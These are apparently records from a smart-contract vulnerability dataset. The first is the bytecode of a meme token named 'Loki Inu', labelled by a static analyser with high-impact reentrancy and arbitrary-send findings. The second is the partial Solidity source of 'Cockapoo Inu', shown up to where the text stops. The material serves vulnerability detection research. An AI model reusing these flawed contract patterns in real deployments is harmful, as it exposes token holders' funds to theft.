0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600881526020017f4c6f6b6920496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4c6f6b69496e7520000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506722b1c8c1227a0000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b60056008819055506005600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a603a8f2329481708a1c10ee450127fe059354b791c868dacf2628c72ed7b7664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,690 |
0x8d1ffff0bc77879bfd3db2ea7c0e74b304a76686
|
/**
🐩Cockapoo Inu 🐩
Welcome to Cockapoo Inu (A cockapoo also known as a spoodle or cockerdoodle portmanteaux
of cocker spaniel and poodle is a dog crossbreed bred from a cocker Spaniel and a poodle 🐩
OFFICIAL COCKAPOO COMMUNITY TG: https://t.me/CockapooInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CockapooInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cockapoo Inu";//
string private constant _symbol = "COCKAPOO";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 2;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x22671654099584dfBC9e4A9b056E07FfC42F9c9d);
address payable private _marketingAddress = payable(0x22671654099584dfBC9e4A9b056E07FfC42F9c9d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
